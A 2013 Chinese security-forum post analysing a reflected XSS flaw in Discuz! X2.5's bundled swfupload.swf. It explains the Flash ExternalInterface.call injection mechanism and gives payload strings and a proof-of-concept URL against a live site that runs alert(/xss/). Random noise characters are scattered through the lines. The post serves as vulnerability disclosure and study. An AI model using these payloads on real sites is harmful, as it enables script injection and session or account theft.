找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1859|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
1 V% z9 t3 i8 b- G. D% |9 R* ?
* l8 `* b, \7 h7 T. J4 vflash.external.ExternalInterface.call($methodName, $parameter)
9 r" _6 j- n* J7 f在浏览器中执行的是
9 J! i* g7 r1 ]# c( [( M. M  g1 s; W
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}& B% q4 K, |* T7 \5 k
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如8 l0 S6 P9 H4 p6 @$ l& {8 I! r
9 [: f! `  v3 E/ `' J4 l* S: R; E
flash.external.ExternalInterface.call("object."+$methodName, $parameter)* r0 E: |4 w$ l5 t' t4 t
$methodName = a())}catch(e){alert(/xss/)}//
5 y+ t+ H" }- r: q结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
/ S& h& F, u  c$ I4 m6 s) e6 R* x  O6 x1 S+ K. [5 H
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
: U, _+ o5 }' x6 J
5 e9 P# `' z. Q& d' ]这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )  [2 I+ L. X0 g; t2 x! r# U
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。/ p- p6 p, W. e4 @* \! C* o

2 S9 C3 {! H- d: G/ [
) q2 j& @. |$ x4 t: D) R8 W: K9 A2 u
漏洞文件:upload\static\image\common\swfupload.swf$ `+ ?# M( L7 Z4 s. n- f
' }$ h7 T9 c, h
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf  V' g4 @7 @. ^$ L0 w" b( v1 k

6 K3 d* g) F0 s/ Q* A) z& s) s) l, l- ]- k% q  j  B/ s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
: {- w+ \' ?, ]+ B/ j
; m, L0 B* Q" L8 s/ {# W- H+ d+ C" f0 T1 ^, x* W+ m! ]1 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表